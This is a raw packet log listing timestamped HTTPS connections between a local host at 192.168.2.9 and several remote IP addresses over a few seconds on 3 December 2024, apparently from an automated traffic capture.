Dec 3, 2024 15:32:20.287240982 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.287765026 CET	49750	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.287791967 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.288208961 CET	49750	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.288216114 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.308536053 CET	443	49744	101.99.88.67	192.168.2.9
Dec 3, 2024 15:32:20.308614969 CET	443	49744	101.99.88.67	192.168.2.9
Dec 3, 2024 15:32:20.308670998 CET	49744	443	192.168.2.9	101.99.88.67
Dec 3, 2024 15:32:20.319067001 CET	49744	443	192.168.2.9	101.99.88.67
Dec 3, 2024 15:32:20.319091082 CET	443	49744	101.99.88.67	192.168.2.9
Dec 3, 2024 15:32:20.336186886 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.336680889 CET	49749	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.336704016 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.337390900 CET	49749	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.337398052 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.581326008 CET	443	49746	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.581383944 CET	443	49746	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.581468105 CET	49746	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.581727028 CET	49746	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.581739902 CET	443	49746	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.581756115 CET	49746	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.581760883 CET	443	49746	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.584908962 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.584944010 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.585021973 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.585197926 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.585211992 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.651869059 CET	443	49747	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.651972055 CET	443	49747	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.652050018 CET	49747	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.654423952 CET	49747	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.654454947 CET	443	49747	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.654558897 CET	49747	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.654575109 CET	443	49747	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.657969952 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.658031940 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.658199072 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.658405066 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.658418894 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.661159039 CET	443	49748	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.661226988 CET	443	49748	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.661292076 CET	49748	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.661439896 CET	49748	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.661462069 CET	443	49748	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.661478043 CET	49748	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.661483049 CET	443	49748	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.664350986 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.664406061 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.664606094 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.664767981 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.664786100 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.733783960 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.733886003 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.733953953 CET	49750	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.734169960 CET	49750	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.734189987 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.734250069 CET	49750	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.734255075 CET	443	49750	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.737945080 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.737993956 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.738050938 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.738244057 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.738260031 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.845671892 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.845762014 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.845958948 CET	49749	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.847584963 CET	49749	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.847604036 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.847613096 CET	49749	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.847623110 CET	443	49749	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.850553036 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.850608110 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:20.850727081 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.851011992 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:20.851023912 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:21.022918940 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.022969961 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:21.023067951 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.023564100 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.023621082 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:21.023855925 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.024039984 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.024058104 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:21.024370909 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:21.024390936 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:21.971761942 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:21.971906900 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:21.973635912 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:21.973649025 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:21.973901033 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.026738882 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.053050995 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.095326900 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.382436037 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.383256912 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.383290052 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.383883953 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.383892059 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.434570074 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.435071945 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.435113907 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.435524940 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.435533047 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.441875935 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.442202091 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.442234039 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.442886114 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.442892075 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.526571035 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.531874895 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.531915903 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.532466888 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.532473087 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.669099092 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669133902 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669141054 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669167995 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669188976 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669198036 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669218063 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.669245005 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.669285059 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.669344902 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.691479921 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.691572905 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.691576004 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.691756964 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.691987038 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.692013025 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.692038059 CET	49751	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:22.692044020 CET	443	49751	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:22.699062109 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.699613094 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.699635029 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.700290918 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.700300932 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.746805906 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.748285055 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.748337030 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.749834061 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.749924898 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.751069069 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.751169920 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.751250982 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.751264095 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.793163061 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.793824911 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.796464920 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.796494007 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.797718048 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.797823906 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.798290968 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.798355103 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.828319073 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.828393936 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.828444958 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.828877926 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.828896046 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.828907967 CET	49754	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.828915119 CET	443	49754	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.832550049 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.832586050 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.832709074 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.832912922 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.832926989 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.839857101 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.839880943 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:22.884509087 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:22.887217045 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.887296915 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.887392998 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.888993025 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.889010906 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.889024973 CET	49753	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.889030933 CET	443	49753	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.889867067 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.889947891 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.892107964 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.892148018 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.892149925 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.892188072 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.892211914 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.892229080 CET	49752	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.892235041 CET	443	49752	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.892247915 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.893446922 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.893459082 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.894675016 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.894706964 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.895541906 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.895793915 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.895803928 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.971436024 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.971514940 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.972040892 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.972079992 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.972098112 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.972109079 CET	49755	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.972116947 CET	443	49755	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.975014925 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.975048065 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:22.975142002 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.975361109 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:22.975369930 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.156663895 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.156737089 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.156811953 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.157118082 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.157130957 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.157149076 CET	49756	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.157155037 CET	443	49756	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.160001040 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.160033941 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.160237074 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.160414934 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:23.160425901 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:23.919158936 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:23.919234991 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:23.919297934 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:23.921355009 CET	49757	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:23.921382904 CET	443	49757	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:23.922106981 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:23.934436083 CET	443	49729	172.217.21.36	192.168.2.9
Dec 3, 2024 15:32:23.934593916 CET	443	49729	172.217.21.36	192.168.2.9
Dec 3, 2024 15:32:23.934654951 CET	49729	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:32:23.967334032 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.616549969 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.617487907 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.617511034 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.617954016 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.617959976 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.672353029 CET	49729	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:32:24.672378063 CET	443	49729	172.217.21.36	192.168.2.9
Dec 3, 2024 15:32:24.748502016 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.748584986 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.749048948 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.749094009 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.749114990 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.749130964 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.749531031 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.749551058 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.749792099 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.749800920 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.762425900 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.763034105 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.763071060 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.763581991 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.763603926 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.859412909 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.859487057 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.860893011 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:24.864067078 CET	49758	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:24.864087105 CET	443	49758	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.865086079 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:24.865154028 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.865223885 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:24.865456104 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:24.865490913 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:24.943698883 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.944360018 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.944385052 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:24.944802046 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:24.944807053 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.064838886 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.064924002 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.065157890 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.065157890 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.065193892 CET	49760	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.065215111 CET	443	49760	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.067765951 CET	49766	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.067800999 CET	443	49766	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.067864895 CET	49766	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.068001032 CET	49766	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.068011045 CET	443	49766	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.205888987 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.205961943 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.206022978 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.206243038 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.206260920 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.206274986 CET	49762	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.206279993 CET	443	49762	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.206773043 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.206850052 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.206934929 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.207057953 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.207075119 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.207088947 CET	49761	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.207094908 CET	443	49761	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.209372044 CET	49767	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209378004 CET	49768	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209408045 CET	443	49767	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.209427118 CET	443	49768	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.209465981 CET	49767	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209491014 CET	49768	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209642887 CET	49767	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209652901 CET	443	49767	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.209811926 CET	49768	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.209825039 CET	443	49768	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.211534023 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.211597919 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.211714029 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.211734056 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.211739063 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.211750031 CET	49763	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.211754084 CET	443	49763	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.214095116 CET	49769	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.214127064 CET	443	49769	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.214193106 CET	49769	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.214315891 CET	49769	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.214325905 CET	443	49769	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.387893915 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.387973070 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.388067961 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.388911009 CET	49764	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.388926983 CET	443	49764	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.391777992 CET	49770	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.391824961 CET	443	49770	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:25.391881943 CET	49770	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.392051935 CET	49770	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:25.392069101 CET	443	49770	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:26.586530924 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:26.586821079 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:26.586836100 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:26.587163925 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:26.587565899 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:26.587627888 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:26.587728024 CET	49765	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:26.635328054 CET	443	49765	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:26.838927031 CET	443	49766	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:26.839756966 CET	49766	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:26.839792013 CET	443	49766	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:26.840440989 CET	49766	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:26.840451956 CET	443	49766	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:27.120508909 CET	443	49770	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:27.120991945 CET	49770	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:27.121020079 CET	443	49770	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:27.121577978 CET	49770	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:27.121583939 CET	443	49770	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:27.127177954 CET	443	49767	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:27.127548933 CET	49767	443	192.168.2.9	13.107.246.63
